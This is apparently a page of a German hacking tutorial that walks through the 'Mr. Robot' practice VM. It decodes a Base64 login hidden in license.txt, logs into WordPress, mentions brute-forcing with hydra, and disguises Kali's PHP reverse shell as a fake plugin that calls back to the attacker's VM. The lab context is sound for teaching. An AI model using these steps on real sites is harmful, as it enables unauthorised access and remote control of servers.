Hacken am Beispiel lernen: Programme geschickt austricksen
Seite 2: WordPress-Zugang knacken
Nachdem Sie den Server ausgiebig ausgekundschaftet haben, fängt die zweite Phase des Hacks an: Nutzen Sie die gesammelten Informationen, um sich in den Server einzuloggen. Praktischerweise schenkt Ihnen "Mr. Robot" die Zugangsdaten. Richtig gelesen: In der Datei license.txt finden Sie am Ende die Zeile ZWxsaW90OkVSMjgtMDY1Mgo=.
Das Gleichheitszeichen am Ende verrät Ihnen, dass es sich wahrscheinlich um eine Base64-kodierte Zeichenfolge handelt. Auch hierfür gibt es einen Konsolenbefehl, mit dem Sie die Zeichen im Handumdrehen in Klartext umwandeln:
echo 'ZWxsaW90OkVSMjgtMDY1Mgo=' | base64 --decode
Das Ergebnis lautet "elliot:ER28-0652". Es könnte sich um einen Nutzernamen plus Passwort handeln.
Aber wozu passen die Zugangsdaten? Die URL-Scanner haben vorhin eine Login-Seite von WordPress gefunden (wp-login.php), also ist es naheliegend, die Zugangsdaten dort zuerst auszuprobieren. Und Bingo: Die Zugangsdaten werden akzeptiert und das Dashboard begrüßt Sie freundlich mit einem "Howdy, Elliot Alderson"– herzlichen Glückwunsch!
Es gibt übrigens noch einen anderen Weg, den WordPress-Zugang mit den bereits erbeuteten Informationen zu knacken. Das Passwort steht in der Datei fsocity.dic – gut versteckt zwischen mehr als 800.000 anderen Zeichenketten. Sie könnten diese als Passwörter ausprobieren, ohne sie von Hand ins Login-Formular kopieren zu müssen. Diese Arbeit können Sie dem Login-Cracker hydra überlassen, der die Liste nach und nach durchprobiert. Allerdings müssten Sie vorher ein Problem lösen: Wie lautet eigentlich der Benutzername? Im konkreten Fall hätten Sie leichtes Spiel, denn "elliot" ist der Hauptcharakter der Serie "Mr. Robot". Oft gibt es bei WordPress auch einen "admin"-Nutzer, manchmal sogar mit dem Passwort "admin".
Erkundung
Nach dem Einloggen ins WordPress-Dashboard finden Sie auf der linken Seite die Menüleiste. Darüber können Sie viele Unterbereiche aufrufen: Nutzerprofile, Bilder, Plug-ins, Kommentare und Tools. Es gibt ein paar gelöschte Posts und einen Kommentar, doch es scheint sich dort nichts Nützliches für einen Angriff zu verbergen: "Welcome to WordPress. This is your first post. Edit or delete it, then start writing!".
Die Nutzerprofile sind immer einen Blick wert, zum Beispiel um herauszufinden, wer welche Rechte besitzt. Klicken Sie dafür in der Menüleiste auf "User". Sie sind als "elliot" eingeloggt und genießen bereits die höchsten Privilegien, wie Sie an der Rolle "Administrator" erkennen können – mehr geht nicht.
Wenn Ihre Erkundung abgeschlossen ist, kann die nächste Phase des Hacks beginnen. Um tiefer ins Zielsystem einzudringen, brauchen Sie am besten direkten Zugriff darauf, zum Beispiel über eine Konsole (Shell). Da auf "Mr. Robot" eine WordPress-Installation läuft und Sie bereits Admin-Zugriff haben, können Sie dort beliebige WordPress-Plug-ins hochladen. Das können Sie ausnutzen, um eine Reverse-Shell einzuschleusen, die beliebige Befehle ausführt. Die nimmt später Kontakt mit Ihrer Kali-VM auf und wartet anschließend auf Ihre Eingaben.
Trojanisches Pferd
Tief im Inneren der Schatzkiste von Kali liegen bereits ein paar vorbereitete Reverse-Shells, die sich fĂĽr Ihr Vorhaben eignen. Sie mĂĽssen diese nur noch geringfĂĽgig modifizieren, damit sie von WordPress als Plug-in akzeptiert werden. Mit dem Befehl
cp /usr/share/webshells/php/php-reverse-shell.php FakePlugin.php
kopieren Sie zunächst eine der Vorlagen als FakePlugin.php in das aktuelle Arbeitsverzeichnis. Bevor Sie das Plug-in hochladen können, müssen Sie zuvor noch ein paar Zeilen ergänzen und ändern. Das Fake-Plug-in können Sie in einem grafischen Texteditor bearbeiten, indem Sie den Befehl mousepad FakePlugin.php verwenden. Hartgesottene Hacker nutzen dafür den Editor vim auf dem Terminal.
Fügen Sie in der PHP-Datei direkt nach der ersten Zeile <?php folgenden Kommentar hinzu, welcher WordPress später vorgaukelt, es würde sich um ein Plug-in handeln:
<?php
/*
Plugin Name: FakePlugin
Plugin URI: www.FakePlugin.example
Description: Best Backdoor ever
Author: someone
Version: 1.0
Author URI: www.FakePlugin.example
*/
(...)
AnschlieĂźend scrollen Sie etwas herunter, bis Sie die Zeilen
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
finden. Ersetzen Sie die angegebene IP-Adresse mit der Ihrer Kali-VM. Der Befehl ip address zeigt Ihnen die aktuelle Adresse unter "eth0" lila hervorgehoben an (10.10.1.2). Den Port können Sie beliebig ersetzen, zum Beispiel mit 87. Speichern Sie die Änderungen mit Strg+S oder "Datei/Speichern".
Da WordPress eine Zip-Datei erwartet, mĂĽssen Sie das Plug-in noch komprimieren. Der Befehl
zip FakePlugin.zip FakePlugin.php
kümmert sich darum. Kehren Sie zur WordPress-Oberfläche zurück. Klicken Sie im Menü auf "Plugins" und danach auf "Add New", zu guter Letzt rechts neben dem Titel auf "Upload Plugin". Hier können Sie über "Browse …" die Datei FakePlugin.zip auswählen und mit Klick auf "Öffnen" hochladen – aktivieren Sie sie aber nicht.